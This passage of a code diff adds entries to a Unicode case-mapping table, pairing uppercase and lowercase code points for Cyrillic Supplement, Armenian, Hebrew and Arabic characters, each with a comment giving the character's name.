+ ["\u0502", "\u0503"], /* CYRILLIC SMALL LETTER KOMI DJE */
+ ["\u0504", "\u0505"], /* CYRILLIC CAPITAL LETTER KOMI ZJE */
+ ["\u0504", "\u0505"], /* CYRILLIC SMALL LETTER KOMI ZJE */
+ ["\u0506", "\u0507"], /* CYRILLIC CAPITAL LETTER KOMI DZJE */
+ ["\u0506", "\u0507"], /* CYRILLIC SMALL LETTER KOMI DZJE */
+ ["\u0508", "\u0509"], /* CYRILLIC CAPITAL LETTER KOMI LJE */
+ ["\u0508", "\u0509"], /* CYRILLIC SMALL LETTER KOMI LJE */
+ ["\u050A", "\u050B"], /* CYRILLIC CAPITAL LETTER KOMI NJE */
+ ["\u050A", "\u050B"], /* CYRILLIC SMALL LETTER KOMI NJE */
+ ["\u050C", "\u050D"], /* CYRILLIC CAPITAL LETTER KOMI SJE */
+ ["\u050C", "\u050D"], /* CYRILLIC SMALL LETTER KOMI SJE */
+ ["\u050E", "\u050F"], /* CYRILLIC CAPITAL LETTER KOMI TJE */
+ ["\u050E", "\u050F"], /* CYRILLIC SMALL LETTER KOMI TJE */
+ ["\u0510", "\u0511"], /* CYRILLIC CAPITAL LETTER REVERSED ZE */
+ ["\u0510", "\u0511"], /* CYRILLIC SMALL LETTER REVERSED ZE */
+ ["\u0512", "\u0513"], /* CYRILLIC CAPITAL LETTER EL WITH HOOK */
+ ["\u0512", "\u0513"], /* CYRILLIC SMALL LETTER EL WITH HOOK */
+ ["\u0514", "\u0515"], /* CYRILLIC CAPITAL LETTER LHA */
+ ["\u0514", "\u0515"], /* CYRILLIC SMALL LETTER LHA */
+ ["\u0516", "\u0517"], /* CYRILLIC CAPITAL LETTER RHA */
+ ["\u0516", "\u0517"], /* CYRILLIC SMALL LETTER RHA */
+ ["\u0518", "\u0519"], /* CYRILLIC CAPITAL LETTER YAE */
+ ["\u0518", "\u0519"], /* CYRILLIC SMALL LETTER YAE */
+ ["\u051A", "\u051B"], /* CYRILLIC CAPITAL LETTER QA */
+ ["\u051A", "\u051B"], /* CYRILLIC SMALL LETTER QA */
+ ["\u051C", "\u051D"], /* CYRILLIC CAPITAL LETTER WE */
+ ["\u051C", "\u051D"], /* CYRILLIC SMALL LETTER WE */
+ ["\u051E", "\u051F"], /* CYRILLIC CAPITAL LETTER ALEUT KA */
+ ["\u051E", "\u051F"], /* CYRILLIC SMALL LETTER ALEUT KA */
+ ["\u0520", "\u0521"], /* CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK */
+ ["\u0520", "\u0521"], /* CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK */
+ ["\u0522", "\u0523"], /* CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK */
+ ["\u0522", "\u0523"], /* CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK */
+ ["\u0524", "\u0525"], /* CYRILLIC CAPITAL LETTER PE WITH DESCENDER */
+ ["\u0524", "\u0525"], /* CYRILLIC SMALL LETTER PE WITH DESCENDER */
+ ["\u0526", "\u0527"], /* CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER */
+ ["\u0526", "\u0527"], /* CYRILLIC SMALL LETTER SHHA WITH DESCENDER */
+ ["\u0528", "\u0529"], /* CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK */
+ ["\u0528", "\u0529"], /* CYRILLIC SMALL LETTER EN WITH LEFT HOOK */
+ ["\u052A", "\u052B"], /* CYRILLIC CAPITAL LETTER DZZHE */
+ ["\u052A", "\u052B"], /* CYRILLIC SMALL LETTER DZZHE */
+ ["\u052C", "\u052D"], /* CYRILLIC CAPITAL LETTER DCHE */
+ ["\u052C", "\u052D"], /* CYRILLIC SMALL LETTER DCHE */
+ ["\u052E", "\u052F"], /* CYRILLIC CAPITAL LETTER EL WITH DESCENDER */
+ ["\u052E", "\u052F"], /* CYRILLIC SMALL LETTER EL WITH DESCENDER */
+ ["\u0530", "\u0530"],
+ ["\u0531", "\u0561"], /* ARMENIAN CAPITAL LETTER AYB */
+ ["\u0532", "\u0562"], /* ARMENIAN CAPITAL LETTER BEN */
+ ["\u0533", "\u0563"], /* ARMENIAN CAPITAL LETTER GIM */
+ ["\u0534", "\u0564"], /* ARMENIAN CAPITAL LETTER DA */
+ ["\u0535", "\u0565"], /* ARMENIAN CAPITAL LETTER ECH */
+ ["\u0536", "\u0566"], /* ARMENIAN CAPITAL LETTER ZA */
+ ["\u0537", "\u0567"], /* ARMENIAN CAPITAL LETTER EH */
+ ["\u0538", "\u0568"], /* ARMENIAN CAPITAL LETTER ET */
+ ["\u0539", "\u0569"], /* ARMENIAN CAPITAL LETTER TO */
+ ["\u053A", "\u056A"], /* ARMENIAN CAPITAL LETTER ZHE */
+ ["\u053B", "\u056B"], /* ARMENIAN CAPITAL LETTER INI */
+ ["\u053C", "\u056C"], /* ARMENIAN CAPITAL LETTER LIWN */
+ ["\u053D", "\u056D"], /* ARMENIAN CAPITAL LETTER XEH */
+ ["\u053E", "\u056E"], /* ARMENIAN CAPITAL LETTER CA */
+ ["\u053F", "\u056F"], /* ARMENIAN CAPITAL LETTER KEN */
+ ["\u0540", "\u0570"], /* ARMENIAN CAPITAL LETTER HO */
+ ["\u0541", "\u0571"], /* ARMENIAN CAPITAL LETTER JA */
+ ["\u0542", "\u0572"], /* ARMENIAN CAPITAL LETTER GHAD (ARMENIAN CAPITAL LETTER LAD) */
+ ["\u0543", "\u0573"], /* ARMENIAN CAPITAL LETTER CHEH */
+ ["\u0544", "\u0574"], /* ARMENIAN CAPITAL LETTER MEN */
+ ["\u0545", "\u0575"], /* ARMENIAN CAPITAL LETTER YI */
+ ["\u0546", "\u0576"], /* ARMENIAN CAPITAL LETTER NOW */
+ ["\u0547", "\u0577"], /* ARMENIAN CAPITAL LETTER SHA */
+ ["\u0548", "\u0578"], /* ARMENIAN CAPITAL LETTER VO */
+ ["\u0549", "\u0579"], /* ARMENIAN CAPITAL LETTER CHA */
+ ["\u054A", "\u057A"], /* ARMENIAN CAPITAL LETTER PEH */
+ ["\u054B", "\u057B"], /* ARMENIAN CAPITAL LETTER JHEH */
+ ["\u054C", "\u057C"], /* ARMENIAN CAPITAL LETTER RA */
+ ["\u054D", "\u057D"], /* ARMENIAN CAPITAL LETTER SEH */
+ ["\u054E", "\u057E"], /* ARMENIAN CAPITAL LETTER VEW */
+ ["\u054F", "\u057F"], /* ARMENIAN CAPITAL LETTER TIWN */
+ ["\u0550", "\u0580"], /* ARMENIAN CAPITAL LETTER REH */
+ ["\u0551", "\u0581"], /* ARMENIAN CAPITAL LETTER CO */
+ ["\u0552", "\u0582"], /* ARMENIAN CAPITAL LETTER YIWN */
+ ["\u0553", "\u0583"], /* ARMENIAN CAPITAL LETTER PIWR */
+ ["\u0554", "\u0584"], /* ARMENIAN CAPITAL LETTER KEH */
+ ["\u0555", "\u0585"], /* ARMENIAN CAPITAL LETTER OH */
+ ["\u0556", "\u0586"], /* ARMENIAN CAPITAL LETTER FEH */
+ ["\u0557", "\u0557"],
+ ["\u0558", "\u0558"],
+ ["\u0559", "\u0559"], /* ARMENIAN MODIFIER LETTER LEFT HALF RING */
+ ["\u055A", "\u055A"], /* ARMENIAN APOSTROPHE (ARMENIAN MODIFIER LETTER RIGHT HALF RING) */
+ ["\u055B", "\u055B"], /* ARMENIAN EMPHASIS MARK */
+ ["\u055C", "\u055C"], /* ARMENIAN EXCLAMATION MARK */
+ ["\u055D", "\u055D"], /* ARMENIAN COMMA */
+ ["\u055E", "\u055E"], /* ARMENIAN QUESTION MARK */
+ ["\u055F", "\u055F"], /* ARMENIAN ABBREVIATION MARK */
+ ["\u0560", "\u0560"], /* ARMENIAN SMALL LETTER TURNED AYB */
+ ["\u0531", "\u0561"], /* ARMENIAN SMALL LETTER AYB */
+ ["\u0532", "\u0562"], /* ARMENIAN SMALL LETTER BEN */
+ ["\u0533", "\u0563"], /* ARMENIAN SMALL LETTER GIM */
+ ["\u0534", "\u0564"], /* ARMENIAN SMALL LETTER DA */
+ ["\u0535", "\u0565"], /* ARMENIAN SMALL LETTER ECH */
+ ["\u0536", "\u0566"], /* ARMENIAN SMALL LETTER ZA */
+ ["\u0537", "\u0567"], /* ARMENIAN SMALL LETTER EH */
+ ["\u0538", "\u0568"], /* ARMENIAN SMALL LETTER ET */
+ ["\u0539", "\u0569"], /* ARMENIAN SMALL LETTER TO */
+ ["\u053A", "\u056A"], /* ARMENIAN SMALL LETTER ZHE */
+ ["\u053B", "\u056B"], /* ARMENIAN SMALL LETTER INI */
+ ["\u053C", "\u056C"], /* ARMENIAN SMALL LETTER LIWN */
+ ["\u053D", "\u056D"], /* ARMENIAN SMALL LETTER XEH */
+ ["\u053E", "\u056E"], /* ARMENIAN SMALL LETTER CA */
+ ["\u053F", "\u056F"], /* ARMENIAN SMALL LETTER KEN */
+ ["\u0540", "\u0570"], /* ARMENIAN SMALL LETTER HO */
+ ["\u0541", "\u0571"], /* ARMENIAN SMALL LETTER JA */
+ ["\u0542", "\u0572"], /* ARMENIAN SMALL LETTER GHAD (ARMENIAN SMALL LETTER LAD) */
+ ["\u0543", "\u0573"], /* ARMENIAN SMALL LETTER CHEH */
+ ["\u0544", "\u0574"], /* ARMENIAN SMALL LETTER MEN */
+ ["\u0545", "\u0575"], /* ARMENIAN SMALL LETTER YI */
+ ["\u0546", "\u0576"], /* ARMENIAN SMALL LETTER NOW */
+ ["\u0547", "\u0577"], /* ARMENIAN SMALL LETTER SHA */
+ ["\u0548", "\u0578"], /* ARMENIAN SMALL LETTER VO */
+ ["\u0549", "\u0579"], /* ARMENIAN SMALL LETTER CHA */
+ ["\u054A", "\u057A"], /* ARMENIAN SMALL LETTER PEH */
+ ["\u054B", "\u057B"], /* ARMENIAN SMALL LETTER JHEH */
+ ["\u054C", "\u057C"], /* ARMENIAN SMALL LETTER RA */
+ ["\u054D", "\u057D"], /* ARMENIAN SMALL LETTER SEH */
+ ["\u054E", "\u057E"], /* ARMENIAN SMALL LETTER VEW */
+ ["\u054F", "\u057F"], /* ARMENIAN SMALL LETTER TIWN */
+ ["\u0550", "\u0580"], /* ARMENIAN SMALL LETTER REH */
+ ["\u0551", "\u0581"], /* ARMENIAN SMALL LETTER CO */
+ ["\u0552", "\u0582"], /* ARMENIAN SMALL LETTER YIWN */
+ ["\u0553", "\u0583"], /* ARMENIAN SMALL LETTER PIWR */
+ ["\u0554", "\u0584"], /* ARMENIAN SMALL LETTER KEH */
+ ["\u0555", "\u0585"], /* ARMENIAN SMALL LETTER OH */
+ ["\u0556", "\u0586"], /* ARMENIAN SMALL LETTER FEH */
+ ["\u0535\u0552", "\u0587"], /* ARMENIAN SMALL LIGATURE ECH YIWN */
+ ["\u0588", "\u0588"], /* ARMENIAN SMALL LETTER YI WITH STROKE */
+ ["\u0589", "\u0589"], /* ARMENIAN FULL STOP (ARMENIAN PERIOD) */
+ ["\u058A", "\u058A"], /* ARMENIAN HYPHEN */
+ ["\u058B", "\u058B"],
+ ["\u058C", "\u058C"],
+ ["\u058D", "\u058D"], /* RIGHT-FACING ARMENIAN ETERNITY SIGN */
+ ["\u058E", "\u058E"], /* LEFT-FACING ARMENIAN ETERNITY SIGN */
+ ["\u058F", "\u058F"], /* ARMENIAN DRAM SIGN */
+ ["\u0590", "\u0590"],
+ ["\u0591", "\u0591"], /* HEBREW ACCENT ETNAHTA */
+ ["\u0592", "\u0592"], /* HEBREW ACCENT SEGOL */
+ ["\u0593", "\u0593"], /* HEBREW ACCENT SHALSHELET */
+ ["\u0594", "\u0594"], /* HEBREW ACCENT ZAQEF QATAN */
+ ["\u0595", "\u0595"], /* HEBREW ACCENT ZAQEF GADOL */
+ ["\u0596", "\u0596"], /* HEBREW ACCENT TIPEHA */
+ ["\u0597", "\u0597"], /* HEBREW ACCENT REVIA */
+ ["\u0598", "\u0598"], /* HEBREW ACCENT ZARQA */
+ ["\u0599", "\u0599"], /* HEBREW ACCENT PASHTA */
+ ["\u059A", "\u059A"], /* HEBREW ACCENT YETIV */
+ ["\u059B", "\u059B"], /* HEBREW ACCENT TEVIR */
+ ["\u059C", "\u059C"], /* HEBREW ACCENT GERESH */
+ ["\u059D", "\u059D"], /* HEBREW ACCENT GERESH MUQDAM */
+ ["\u059E", "\u059E"], /* HEBREW ACCENT GERSHAYIM */
+ ["\u059F", "\u059F"], /* HEBREW ACCENT QARNEY PARA */
+ ["\u05A0", "\u05A0"], /* HEBREW ACCENT TELISHA GEDOLA */
+ ["\u05A1", "\u05A1"], /* HEBREW ACCENT PAZER */
+ ["\u05A2", "\u05A2"], /* HEBREW ACCENT ATNAH HAFUKH */
+ ["\u05A3", "\u05A3"], /* HEBREW ACCENT MUNAH */
+ ["\u05A4", "\u05A4"], /* HEBREW ACCENT MAHAPAKH */
+ ["\u05A5", "\u05A5"], /* HEBREW ACCENT MERKHA */
+ ["\u05A6", "\u05A6"], /* HEBREW ACCENT MERKHA KEFULA */
+ ["\u05A7", "\u05A7"], /* HEBREW ACCENT DARGA */
+ ["\u05A8", "\u05A8"], /* HEBREW ACCENT QADMA */
+ ["\u05A9", "\u05A9"], /* HEBREW ACCENT TELISHA QETANA */
+ ["\u05AA", "\u05AA"], /* HEBREW ACCENT YERAH BEN YOMO */
+ ["\u05AB", "\u05AB"], /* HEBREW ACCENT OLE */
+ ["\u05AC", "\u05AC"], /* HEBREW ACCENT ILUY */
+ ["\u05AD", "\u05AD"], /* HEBREW ACCENT DEHI */
+ ["\u05AE", "\u05AE"], /* HEBREW ACCENT ZINOR */
+ ["\u05AF", "\u05AF"], /* HEBREW MARK MASORA CIRCLE */
+ ["\u05B0", "\u05B0"], /* HEBREW POINT SHEVA */
+ ["\u05B1", "\u05B1"], /* HEBREW POINT HATAF SEGOL */
+ ["\u05B2", "\u05B2"], /* HEBREW POINT HATAF PATAH */
+ ["\u05B3", "\u05B3"], /* HEBREW POINT HATAF QAMATS */
+ ["\u05B4", "\u05B4"], /* HEBREW POINT HIRIQ */
+ ["\u05B5", "\u05B5"], /* HEBREW POINT TSERE */
+ ["\u05B6", "\u05B6"], /* HEBREW POINT SEGOL */
+ ["\u05B7", "\u05B7"], /* HEBREW POINT PATAH */
+ ["\u05B8", "\u05B8"], /* HEBREW POINT QAMATS */
+ ["\u05B9", "\u05B9"], /* HEBREW POINT HOLAM */
+ ["\u05BA", "\u05BA"], /* HEBREW POINT HOLAM HASER FOR VAV */
+ ["\u05BB", "\u05BB"], /* HEBREW POINT QUBUTS */
+ ["\u05BC", "\u05BC"], /* HEBREW POINT DAGESH OR MAPIQ (HEBREW POINT DAGESH) */
+ ["\u05BD", "\u05BD"], /* HEBREW POINT METEG */
+ ["\u05BE", "\u05BE"], /* HEBREW PUNCTUATION MAQAF */
+ ["\u05BF", "\u05BF"], /* HEBREW POINT RAFE */
+ ["\u05C0", "\u05C0"], /* HEBREW PUNCTUATION PASEQ (HEBREW POINT PASEQ) */
+ ["\u05C1", "\u05C1"], /* HEBREW POINT SHIN DOT */
+ ["\u05C2", "\u05C2"], /* HEBREW POINT SIN DOT */
+ ["\u05C3", "\u05C3"], /* HEBREW PUNCTUATION SOF PASUQ */
+ ["\u05C4", "\u05C4"], /* HEBREW MARK UPPER DOT */
+ ["\u05C5", "\u05C5"], /* HEBREW MARK LOWER DOT */
+ ["\u05C6", "\u05C6"], /* HEBREW PUNCTUATION NUN HAFUKHA */
+ ["\u05C7", "\u05C7"], /* HEBREW POINT QAMATS QATAN */
+ ["\u05C8", "\u05C8"],
+ ["\u05C9", "\u05C9"],
+ ["\u05CA", "\u05CA"],
+ ["\u05CB", "\u05CB"],
+ ["\u05CC", "\u05CC"],
+ ["\u05CD", "\u05CD"],
+ ["\u05CE", "\u05CE"],
+ ["\u05CF", "\u05CF"],
+ ["\u05D0", "\u05D0"], /* HEBREW LETTER ALEF */
+ ["\u05D1", "\u05D1"], /* HEBREW LETTER BET */
+ ["\u05D2", "\u05D2"], /* HEBREW LETTER GIMEL */
+ ["\u05D3", "\u05D3"], /* HEBREW LETTER DALET */
+ ["\u05D4", "\u05D4"], /* HEBREW LETTER HE */
+ ["\u05D5", "\u05D5"], /* HEBREW LETTER VAV */
+ ["\u05D6", "\u05D6"], /* HEBREW LETTER ZAYIN */
+ ["\u05D7", "\u05D7"], /* HEBREW LETTER HET */
+ ["\u05D8", "\u05D8"], /* HEBREW LETTER TET */
+ ["\u05D9", "\u05D9"], /* HEBREW LETTER YOD */
+ ["\u05DA", "\u05DA"], /* HEBREW LETTER FINAL KAF */
+ ["\u05DB", "\u05DB"], /* HEBREW LETTER KAF */
+ ["\u05DC", "\u05DC"], /* HEBREW LETTER LAMED */
+ ["\u05DD", "\u05DD"], /* HEBREW LETTER FINAL MEM */
+ ["\u05DE", "\u05DE"], /* HEBREW LETTER MEM */
+ ["\u05DF", "\u05DF"], /* HEBREW LETTER FINAL NUN */
+ ["\u05E0", "\u05E0"], /* HEBREW LETTER NUN */
+ ["\u05E1", "\u05E1"], /* HEBREW LETTER SAMEKH */
+ ["\u05E2", "\u05E2"], /* HEBREW LETTER AYIN */
+ ["\u05E3", "\u05E3"], /* HEBREW LETTER FINAL PE */
+ ["\u05E4", "\u05E4"], /* HEBREW LETTER PE */
+ ["\u05E5", "\u05E5"], /* HEBREW LETTER FINAL TSADI */
+ ["\u05E6", "\u05E6"], /* HEBREW LETTER TSADI */
+ ["\u05E7", "\u05E7"], /* HEBREW LETTER QOF */
+ ["\u05E8", "\u05E8"], /* HEBREW LETTER RESH */
+ ["\u05E9", "\u05E9"], /* HEBREW LETTER SHIN */
+ ["\u05EA", "\u05EA"], /* HEBREW LETTER TAV */
+ ["\u05EB", "\u05EB"],
+ ["\u05EC", "\u05EC"],
+ ["\u05ED", "\u05ED"],
+ ["\u05EE", "\u05EE"],
+ ["\u05EF", "\u05EF"], /* HEBREW YOD TRIANGLE */
+ ["\u05F0", "\u05F0"], /* HEBREW LIGATURE YIDDISH DOUBLE VAV (HEBREW LETTER DOUBLE VAV) */
+ ["\u05F1", "\u05F1"], /* HEBREW LIGATURE YIDDISH VAV YOD (HEBREW LETTER VAV YOD) */
+ ["\u05F2", "\u05F2"], /* HEBREW LIGATURE YIDDISH DOUBLE YOD (HEBREW LETTER DOUBLE YOD) */
+ ["\u05F3", "\u05F3"], /* HEBREW PUNCTUATION GERESH */
+ ["\u05F4", "\u05F4"], /* HEBREW PUNCTUATION GERSHAYIM */
+ ["\u05F5", "\u05F5"],
+ ["\u05F6", "\u05F6"],
+ ["\u05F7", "\u05F7"],
+ ["\u05F8", "\u05F8"],
+ ["\u05F9", "\u05F9"],
+ ["\u05FA", "\u05FA"],
+ ["\u05FB", "\u05FB"],
+ ["\u05FC", "\u05FC"],
+ ["\u05FD", "\u05FD"],
+ ["\u05FE", "\u05FE"],
+ ["\u05FF", "\u05FF"],
+ ["\u0600", "\u0600"], /* ARABIC NUMBER SIGN */
+ ["\u0601", "\u0601"], /* ARABIC SIGN SANAH */
+ ["\u0602", "\u0602"], /* ARABIC FOOTNOTE MARKER */
+ ["\u0603", "\u0603"], /* ARABIC SIGN SAFHA */
+ ["\u0604", "\u0604"], /* ARABIC SIGN SAMVAT */
+ ["\u0605", "\u0605"], /* ARABIC NUMBER MARK ABOVE */
+ ["\u0606", "\u0606"], /* ARABIC-INDIC CUBE ROOT */
+ ["\u0607", "\u0607"], /* ARABIC-INDIC FOURTH ROOT */
+ ["\u0608", "\u0608"], /* ARABIC RAY */
+ ["\u0609", "\u0609"], /* ARABIC-INDIC PER MILLE SIGN */
+ ["\u060A", "\u060A"], /* ARABIC-INDIC PER TEN THOUSAND SIGN */
+ ["\u060B", "\u060B"], /* AFGHANI SIGN */
+ ["\u060C", "\u060C"], /* ARABIC COMMA */
+ ["\u060D", "\u060D"], /* ARABIC DATE SEPARATOR */
+ ["\u060E", "\u060E"], /* ARABIC POETIC VERSE SIGN */
+ ["\u060F", "\u060F"], /* ARABIC SIGN MISRA */
+ ["\u0610", "\u0610"], /* ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM */
+ ["\u0611", "\u0611"], /* ARABIC SIGN ALAYHE ASSALLAM */
+ ["\u0612", "\u0612"], /* ARABIC SIGN RAHMATULLAH ALAYHE */
+ ["\u0613", "\u0613"], /* ARABIC SIGN RADI ALLAHOU ANHU */
+ ["\u0614", "\u0614"], /* ARABIC SIGN TAKHALLUS */
+ ["\u0615", "\u0615"], /* ARABIC SMALL HIGH TAH */
+ ["\u0616", "\u0616"], /* ARABIC SMALL HIGH LIGATURE ALEF WITH LAM WITH YEH */
+ ["\u0617", "\u0617"], /* ARABIC SMALL HIGH ZAIN */
+ ["\u0618", "\u0618"], /* ARABIC SMALL FATHA */
+ ["\u0619", "\u0619"], /* ARABIC SMALL DAMMA */
+ ["\u061A", "\u061A"], /* ARABIC SMALL KASRA */
+ ["\u061B", "\u061B"], /* ARABIC SEMICOLON */
+ ["\u061C", "\u061C"], /* ARABIC LETTER MARK */
+ ["\u061D", "\u061D"], /* ARABIC END OF TEXT MARK */
+ ["\u061E", "\u061E"], /* ARABIC TRIPLE DOT PUNCTUATION MARK */
+ ["\u061F", "\u061F"], /* ARABIC QUESTION MARK */
+ ["\u0620", "\u0620"], /* ARABIC LETTER KASHMIRI YEH */
+ ["\u0621", "\u0621"], /* ARABIC LETTER HAMZA (ARABIC LETTER HAMZAH) */
+ ["\u0622", "\u0622"], /* ARABIC LETTER ALEF WITH MADDA ABOVE (ARABIC LETTER MADDAH ON ALEF) */
+ ["\u0623", "\u0623"], /* ARABIC LETTER ALEF WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON ALEF) */
+ ["\u0624", "\u0624"], /* ARABIC LETTER WAW WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON WAW) */
+ ["\u0625", "\u0625"], /* ARABIC LETTER ALEF WITH HAMZA BELOW (ARABIC LETTER HAMZAH UNDER ALEF) */
+ ["\u0626", "\u0626"], /* ARABIC LETTER YEH WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON YA) */
+ ["\u0627", "\u0627"], /* ARABIC LETTER ALEF */
+ ["\u0628", "\u0628"], /* ARABIC LETTER BEH (ARABIC LETTER BAA) */
+ ["\u0629", "\u0629"], /* ARABIC LETTER TEH MARBUTA (ARABIC LETTER TAA MARBUTAH) */
+ ["\u062A", "\u062A"], /* ARABIC LETTER TEH (ARABIC LETTER TAA) */
+ ["\u062B", "\u062B"], /* ARABIC LETTER THEH (ARABIC LETTER THAA) */
+ ["\u062C", "\u062C"], /* ARABIC LETTER JEEM */
+ ["\u062D", "\u062D"], /* ARABIC LETTER HAH (ARABIC LETTER HAA) */
+ ["\u062E", "\u062E"], /* ARABIC LETTER KHAH (ARABIC LETTER KHAA) */
+ ["\u062F", "\u062F"], /* ARABIC LETTER DAL */
+ ["\u0630", "\u0630"], /* ARABIC LETTER THAL */
+ ["\u0631", "\u0631"], /* ARABIC LETTER REH (ARABIC LETTER RA) */
+ ["\u0632", "\u0632"], /* ARABIC LETTER ZAIN */
+ ["\u0633", "\u0633"], /* ARABIC LETTER SEEN */
+ ["\u0634", "\u0634"], /* ARABIC LETTER SHEEN */
+ ["\u0635", "\u0635"], /* ARABIC LETTER SAD */
+ ["\u0636", "\u0636"], /* ARABIC LETTER DAD */
+ ["\u0637", "\u0637"], /* ARABIC LETTER TAH */
+ ["\u0638", "\u0638"], /* ARABIC LETTER ZAH (ARABIC LETTER DHAH) */
+ ["\u0639", "\u0639"], /* ARABIC LETTER AIN */
+ ["\u063A", "\u063A"], /* ARABIC LETTER GHAIN */
+ ["\u063B", "\u063B"], /* ARABIC LETTER KEHEH WITH TWO DOTS ABOVE */
+ ["\u063C", "\u063C"], /* ARABIC LETTER KEHEH WITH THREE DOTS BELOW */
+ ["\u063D", "\u063D"], /* ARABIC LETTER FARSI YEH WITH INVERTED V */
+ ["\u063E", "\u063E"], /* ARABIC LETTER FARSI YEH WITH TWO DOTS ABOVE */
+ ["\u063F", "\u063F"], /* ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE */
+ ["\u0640", "\u0640"], /* ARABIC TATWEEL */
+ ["\u0641", "\u0641"], /* ARABIC LETTER FEH (ARABIC LETTER FA) */
+ ["\u0642", "\u0642"], /* ARABIC LETTER QAF */
+ ["\u0643", "\u0643"], /* ARABIC LETTER KAF (ARABIC LETTER CAF) */
+ ["\u0644", "\u0644"], /* ARABIC LETTER LAM */
+ ["\u0645", "\u0645"], /* ARABIC LETTER MEEM */
+ ["\u0646", "\u0646"], /* ARABIC LETTER NOON */
+ ["\u0647", "\u0647"], /* ARABIC LETTER HEH (ARABIC LETTER HA) */
+ ["\u0648", "\u0648"], /* ARABIC LETTER WAW */
+ ["\u0649", "\u0649"], /* ARABIC LETTER ALEF MAKSURA (ARABIC LETTER ALEF MAQSURAH) */
+ ["\u064A", "\u064A"], /* ARABIC LETTER YEH (ARABIC LETTER YA) */
+ ["\u064B", "\u064B"], /* ARABIC FATHATAN */
+ ["\u064C", "\u064C"], /* ARABIC DAMMATAN */
+ ["\u064D", "\u064D"], /* ARABIC KASRATAN */
+ ["\u064E", "\u064E"], /* ARABIC FATHA (ARABIC FATHAH) */
+ ["\u064F", "\u064F"], /* ARABIC DAMMA (ARABIC DAMMAH) */
+ ["\u0650", "\u0650"], /* ARABIC KASRA (ARABIC KASRAH) */
+ ["\u0651", "\u0651"], /* ARABIC SHADDA (ARABIC SHADDAH) */
+ ["\u0652", "\u0652"], /* ARABIC SUKUN */
+ ["\u0653", "\u0653"], /* ARABIC MADDAH ABOVE */
+ ["\u0654", "\u0654"], /* ARABIC HAMZA ABOVE */
+ ["\u0655", "\u0655"], /* ARABIC HAMZA BELOW */
+ ["\u0656", "\u0656"], /* ARABIC SUBSCRIPT ALEF */
+ ["\u0657", "\u0657"], /* ARABIC INVERTED DAMMA */
+ ["\u0658", "\u0658"], /* ARABIC MARK NOON GHUNNA */
+ ["\u0659", "\u0659"], /* ARABIC ZWARAKAY */
+ ["\u065A", "\u065A"], /* ARABIC VOWEL SIGN SMALL V ABOVE */
+ ["\u065B", "\u065B"], /* ARABIC VOWEL SIGN INVERTED SMALL V ABOVE */
+ ["\u065C", "\u065C"], /* ARABIC VOWEL SIGN DOT BELOW */
+ ["\u065D", "\u065D"], /* ARABIC REVERSED DAMMA */
+ ["\u065E", "\u065E"], /* ARABIC FATHA WITH TWO DOTS */
+ ["\u065F", "\u065F"], /* ARABIC WAVY HAMZA BELOW */
+ ["\u0660", "\u0660"], /* ARABIC-INDIC DIGIT ZERO */
+ ["\u0661", "\u0661"], /* ARABIC-INDIC DIGIT ONE */
+ ["\u0662", "\u0662"], /* ARABIC-INDIC DIGIT TWO */
+ ["\u0663", "\u0663"], /* ARABIC-INDIC DIGIT THREE */
+ ["\u0664", "\u0664"], /* ARABIC-INDIC DIGIT FOUR */
+ ["\u0665", "\u0665"], /* ARABIC-INDIC DIGIT FIVE */
+ ["\u0666", "\u0666"], /* ARABIC-INDIC DIGIT SIX */
+ ["\u0667", "\u0667"], /* ARABIC-INDIC DIGIT SEVEN */
+ ["\u0668", "\u0668"], /* ARABIC-INDIC DIGIT EIGHT */
+ ["\u0669", "\u0669"], /* ARABIC-INDIC DIGIT NINE */
+ ["\u066A", "\u066A"], /* ARABIC PERCENT SIGN */
+ ["\u066B", "\u066B"], /* ARABIC DECIMAL SEPARATOR */
+ ["\u066C", "\u066C"], /* ARABIC THOUSANDS SEPARATOR */
+ ["\u066D", "\u066D"], /* ARABIC FIVE POINTED STAR */
+ ["\u066E", "\u066E"], /* ARABIC LETTER DOTLESS BEH */
+ ["\u066F", "\u066F"], /* ARABIC LETTER DOTLESS QAF */
+ ["\u0670", "\u0670"], /* ARABIC LETTER SUPERSCRIPT ALEF (ARABIC ALEF ABOVE) */
+ ["\u0671", "\u0671"], /* ARABIC LETTER ALEF WASLA (ARABIC LETTER HAMZAT WASL ON ALEF) */
+ ["\u0672", "\u0672"], /* ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE (ARABIC LETTER WAVY HAMZAH ON ALEF) */
+ ["\u0673", "\u0673"], /* ARABIC LETTER ALEF WITH WAVY HAMZA BELOW (ARABIC LETTER WAVY HAMZAH UNDER ALEF) */
+ ["\u0674", "\u0674"], /* ARABIC LETTER HIGH HAMZA (ARABIC LETTER HIGH HAMZAH) */
+ ["\u0675", "\u0675"], /* ARABIC LETTER HIGH HAMZA ALEF (ARABIC LETTER HIGH HAMZAH ALEF) */
+ ["\u0676", "\u0676"], /* ARABIC LETTER HIGH HAMZA WAW (ARABIC LETTER HIGH HAMZAH WAW) */
+ ["\u0677", "\u0677"], /* ARABIC LETTER U WITH HAMZA ABOVE (ARABIC LETTER HIGH HAMZAH WAW WITH DAMMAH) */
+ ["\u0678", "\u0678"], /* ARABIC LETTER HIGH HAMZA YEH (ARABIC LETTER HIGH HAMZAH YA) */
+ ["\u0679", "\u0679"], /* ARABIC LETTER TTEH (ARABIC LETTER TAA WITH SMALL TAH) */
+ ["\u067A", "\u067A"], /* ARABIC LETTER TTEHEH (ARABIC LETTER TAA WITH TWO DOTS VERTICAL ABOVE) */
+ ["\u067B", "\u067B"], /* ARABIC LETTER BEEH (ARABIC LETTER BAA WITH TWO DOTS VERTICAL BELOW) */
+ ["\u067C", "\u067C"], /* ARABIC LETTER TEH WITH RING (ARABIC LETTER TAA WITH RING) */
+ ["\u067D", "\u067D"], /* ARABIC LETTER TEH WITH THREE DOTS ABOVE DOWNWARDS (ARABIC LETTER TAA WITH THREE DOTS ABOVE DOWNWARD) */
+ ["\u067E", "\u067E"], /* ARABIC LETTER PEH (ARABIC LETTER TAA WITH THREE DOTS BELOW) */
